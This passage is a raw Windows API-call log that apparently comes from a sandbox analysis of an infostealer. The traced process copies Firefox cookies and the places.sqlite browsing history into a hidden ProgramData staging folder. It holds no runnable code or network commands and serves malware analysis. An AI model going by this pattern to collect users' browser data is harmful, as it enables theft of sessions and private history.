lpTotalNumberOfClusters=0x19ef58) returned 1 [0049.374] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f1e0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f1e0*=0) returned 0x0 [0049.374] ReadFile (in: hFile=0x38c, lpBuffer=0x19f25c, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x19f200, lpOverlapped=0x0 | out: lpBuffer=0x19f25c*, lpNumberOfBytesRead=0x19f200*=0x64, lpOverlapped=0x0) returned 1 [0049.378] LockFile (hFile=0x38c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0) returned 1 [0049.378] LockFileEx (in: hFile=0x38c, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19eda8 | out: lpOverlapped=0x19eda8) returned 1 [0049.378] UnlockFile (hFile=0x38c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0049.378] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a71e, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 46 [0049.378] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a71e, cbMultiByte=-1, lpWideCharStr=0x1f0a440, cchWideChar=46 | out: lpWideCharStr="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-journal") returned 46 [0049.378] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-journal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\c-journal"), fInfoLevelId=0x0, lpFileInformation=0x19ed94 | out: lpFileInformation=0x19ed94*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0049.378] GetLastError () returned 0x2 [0049.378] GetFileSize (in: hFile=0x38c, lpFileSizeHigh=0x19edcc | out: lpFileSizeHigh=0x19edcc*=0x0) returned 0x80000 [0049.378] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a74c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0049.378] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a74c, cbMultiByte=-1, lpWideCharStr=0x1f0a440, cchWideChar=42 | out: lpWideCharStr="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-wal") returned 42 [0049.378] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-wal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\c-wal"), fInfoLevelId=0x0, lpFileInformation=0x19edac | out: lpFileInformation=0x19edac*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0049.378] GetLastError () returned 0x2 [0049.378] GetFileSize (in: hFile=0x38c, lpFileSizeHigh=0x19ede4 | out: lpFileSizeHigh=0x19ede4*=0x0) returned 0x80000 [0049.379] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19ed98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ed98*=0) returned 0x0 [0049.379] ReadFile (in: hFile=0x38c, lpBuffer=0x1f1fe7c, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x19edb8, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe7c*, lpNumberOfBytesRead=0x19edb8*=0x8000, lpOverlapped=0x0) returned 1 [0049.379] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a74c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0049.379] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a74c, cbMultiByte=-1, lpWideCharStr=0x1f0a4d0, cchWideChar=42 | out: lpWideCharStr="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-wal") returned 42 [0049.379] CreateFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-wal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\c-wal"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390 [0049.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a74c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0049.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a74c, cbMultiByte=-1, lpWideCharStr=0x1f0a530, cchWideChar=42 | out: lpWideCharStr="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-wal") returned 42 [0049.380] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-wal", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0049.380] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-wal", nBufferLength=0x2d, lpBuffer=0x1f0a9c8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-wal", lpFilePart=0x0) returned 0x29 [0049.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-wal", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0049.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x19eb80, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0049.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x19eb80, cbMultiByte=-1, lpWideCharStr=0x1f0a530, cchWideChar=42 | out: lpWideCharStr="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-wal") returned 42 [0049.380] GetDiskFreeSpaceW (in: lpRootPathName="C:", lpSectorsPerCluster=0x19eb7c, lpBytesPerSector=0x19eb78, lpNumberOfFreeClusters=0x19eb7c, lpTotalNumberOfClusters=0x19eb7c | out: lpSectorsPerCluster=0x19eb7c, lpBytesPerSector=0x19eb78, lpNumberOfFreeClusters=0x19eb7c, lpTotalNumberOfClusters=0x19eb7c) returned 1 [0049.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a520, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0049.380] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a520, cbMultiByte=-1, lpWideCharStr=0x1f0a9c8, cchWideChar=42 | out: lpWideCharStr="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-shm") returned 42 [0049.380] CreateFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-shm" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\c-shm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x394 [0049.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a520, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0049.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a520, cbMultiByte=-1, lpWideCharStr=0x1f0aa28, cchWideChar=42 | out: lpWideCharStr="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-shm") returned 42 [0049.381] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-shm", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0049.381] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-shm", nBufferLength=0x2d, lpBuffer=0x1f0aa88, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-shm", lpFilePart=0x0) returned 0x29 [0049.381] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-shm", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0049.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x19eae8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0049.381] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x19eae8, cbMultiByte=-1, lpWideCharStr=0x1f0aa28, cchWideChar=42 | out: lpWideCharStr="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-shm") returned 42 [0049.381] GetDiskFreeSpaceW (in: lpRootPathName="C:", lpSectorsPerCluster=0x19eae4, lpBytesPerSector=0x19eae0, lpNumberOfFreeClusters=0x19eae4, lpTotalNumberOfClusters=0x19eae4 | out: lpSectorsPerCluster=0x19eae4, lpBytesPerSector=0x19eae0, lpNumberOfFreeClusters=0x19eae4, lpTotalNumberOfClusters=0x19eae4) returned 1 [0049.381] LockFileEx (in: hFile=0x394, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19ed30 | out: lpOverlapped=0x19ed30) returned 1 [0049.381] SetFilePointer (in: hFile=0x394, lDistanceToMove=0, lpDistanceToMoveHigh=0x19ed24*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ed24*=0) returned 0x0 [0049.381] SetEndOfFile (hFile=0x394) returned 1 [0049.381] UnlockFileEx (in: hFile=0x394, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x19ed30 | out: lpOverlapped=0x19ed30) returned 1 [0049.381] LockFileEx (in: hFile=0x394, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19ed24 | out: lpOverlapped=0x19ed24) returned 1 [0049.381] GetFileSize (in: hFile=0x394, lpFileSizeHigh=0x19ed60 | out: lpFileSizeHigh=0x19ed60*=0x0) returned 0x0 [0049.382] LockFileEx (in: hFile=0x394, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19ed50 | out: lpOverlapped=0x19ed50) returned 1 [0049.382] GetFileSize (in: hFile=0x394, lpFileSizeHigh=0x19ed5c | out: lpFileSizeHigh=0x19ed5c*=0x0) returned 0x0 [0049.382] SetFilePointer (in: hFile=0x394, lDistanceToMove=32768, lpDistanceToMoveHigh=0x19ed30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ed30*=0) returned 0x8000 [0049.382] SetEndOfFile (hFile=0x394) returned 1 [0049.383] MapViewOfFile (hFileMappingObject=0x398, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8000) returned 0x29e0000 [0049.388] LockFileEx (in: hFile=0x394, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x7, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19ece4 | out: lpOverlapped=0x19ece4) returned 1 [0049.388] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x19ed28 | out: lpFileSizeHigh=0x19ed28*=0x0) returned 0x0 [0049.388] UnlockFileEx (in: hFile=0x394, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x7, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x19ece4 | out: lpOverlapped=0x19ece4) returned 1 [0049.388] UnlockFileEx (in: hFile=0x394, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x19ed50 | out: lpOverlapped=0x19ed50) returned 1 [0049.389] LockFileEx (in: hFile=0x394, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19ed70 | out: lpOverlapped=0x19ed70) returned 1 [0049.389] GetFileSize (in: hFile=0x38c, lpFileSizeHigh=0x19ede4 | out: lpFileSizeHigh=0x19ede4*=0x0) returned 0x80000 [0049.389] SetFilePointer (in: hFile=0x38c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19ed98*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19ed98*=0) returned 0x0 [0049.389] ReadFile (in: hFile=0x38c, lpBuffer=0x1f1fe7c, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x19edb8, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe7c*, lpNumberOfBytesRead=0x19edb8*=0x8000, lpOverlapped=0x0) returned 1 [0049.391] UnlockFileEx (in: hFile=0x394, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x19eadc | out: lpOverlapped=0x19eadc) returned 1 [0049.392] LockFileEx (in: hFile=0x394, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x19eeac | out: lpOverlapped=0x19eeac) returned 1 [0049.392] GetFileSize (in: hFile=0x38c, lpFileSizeHigh=0x19ef20 | out: lpFileSizeHigh=0x19ef20*=0x0) returned 0x80000 [0049.392] SetFilePointer (in: hFile=0x38c, lDistanceToMove=32768, lpDistanceToMoveHigh=0x19eefc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eefc*=0) returned 0x8000 [0049.392] ReadFile (in: hFile=0x38c, lpBuffer=0x1f28ffc, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x19ef1c, lpOverlapped=0x0 | out: lpBuffer=0x1f28ffc*, lpNumberOfBytesRead=0x19ef1c*=0x8000, lpOverlapped=0x0) returned 1 [0049.393] UnlockFileEx (in: hFile=0x394, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x19eec4 | out: lpOverlapped=0x19eec4) returned 1 [0049.393] CreateFileW (lpFileName="files\\Cookies\\cookies_Mozilla Firefox_8i341t8m.default.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cookies\\cookies_mozilla firefox_8i341t8m.default.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19f1f4, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0049.393] GetFileType (hFile=0x39c) returned 0x1 [0049.394] CreateFileW (lpFileName="files\\Cookies\\cookies_Mozilla Firefox_8i341t8m.default.txt" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\files\\cookies\\cookies_mozilla firefox_8i341t8m.default.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x19f1f4, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0049.395] GetFileType (hFile=0x39c) returned 0x1 [0049.395] SetFilePointer (in: hFile=0x39c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0049.395] GetLastError () returned 0x83 [0049.395] GetLastError () returned 0x83 [0049.395] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19ef9c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19ef9c*=0) returned 0x0 [0049.395] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19d4a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19d4a0*=0) returned 0x0 [0049.395] WriteFile (in: hFile=0x39c, lpBuffer=0x19d4f4*, nNumberOfBytesToWrite=0x102d, lpNumberOfBytesWritten=0x19d4d4, lpOverlapped=0x0 | out: lpBuffer=0x19d4f4*, lpNumberOfBytesWritten=0x19d4d4*=0x102d, lpOverlapped=0x0) returned 1 [0049.396] SetFilePointer (in: hFile=0x39c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19d770*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19d770*=0) returned 0x102d [0049.396] WriteFile (in: hFile=0x39c, lpBuffer=0x19d7c4*, nNumberOfBytesToWrite=0xa1e, lpNumberOfBytesWritten=0x19d7a4, lpOverlapped=0x0 | out: lpBuffer=0x19d7c4*, lpNumberOfBytesWritten=0x19d7a4*=0xa1e, lpOverlapped=0x0) returned 1 [0049.397] UnlockFile (hFile=0x38c, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0049.397] LockFile (hFile=0x38c, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0) returned 1 [0049.397] UnmapViewOfFile (lpBaseAddress=0x29e0000) returned 1 [0049.397] CloseHandle (hObject=0x398) returned 1 [0049.397] CloseHandle (hObject=0x394) returned 1 [0049.400] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1f0a520, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0049.400] DeleteFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-shm" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\c-shm")) returned 1 [0049.401] GetFileAttributesW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-shm" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\c-shm")) returned 0xffffffff [0049.401] GetLastError () returned 0x2 [0049.401] DeleteFileW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-wal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\c-wal")) returned 1 [0049.401] GetFileAttributesW (lpFileName="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\c-wal" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\c-wal")) returned 0xffffffff [0049.401] GetLastError () returned 0x2 [0049.402] UnlockFile (hFile=0x38c, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0049.402] UnlockFile (hFile=0x38c, dwFileOffsetLow=0x40000001, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 0 [0049.402] UnlockFile (hFile=0x38c, dwFileOffsetLow=0x40000002, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0) returned 0 [0049.402] GetLastError () returned 0x9e [0049.402] UnlockFile (hFile=0x38c, dwFileOffsetLow=0x40000000, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0) returned 0 [0049.402] CloseHandle (hObject=0x38c) returned 1 [0049.402] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\places.sqlite")) returned 0x20 [0049.405] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\places.sqlite" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\places.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x19ef44, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x38c [0049.405] GetFileType (hFile=0x38c) returned 0x1 [0049.406] CreateFileW (lpFileName="history" (normalized: "c:\\programdata\\z7oy7o0xpwlxm7m23rjk\\history"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x19ef44, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x390 [0049.406] GetFileType (hFile=0x390) returned 0x1 [0049.406] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.422] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.423] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.424] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.424] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.425] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.425] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.425] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.425] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.425] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.425] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.425] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.426] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.426] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.426] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.426] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.426] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.426] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.426] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.427] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.427] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.427] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x19efb0, lpOverlapped=0x0 | out: lpBuffer=0x1e8dec8*, lpNumberOfBytesRead=0x19efb0*=0x1000, lpOverlapped=0x0) returned 1 [0049.427] WriteFile (in: hFile=0x390, lpBuffer=0x1f1fe50*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19d4dc, lpOverlapped=0x0 | out: lpBuffer=0x1f1fe50*, lpNumberOfBytesWritten=0x19d4dc*=0x1000, lpOverlapped=0x0) returned 1 [0049.427] ReadFile (in: hFile=0x38c, lpBuffer=0x1e8dec8, nNumberOfBytesToRead=0x1000, 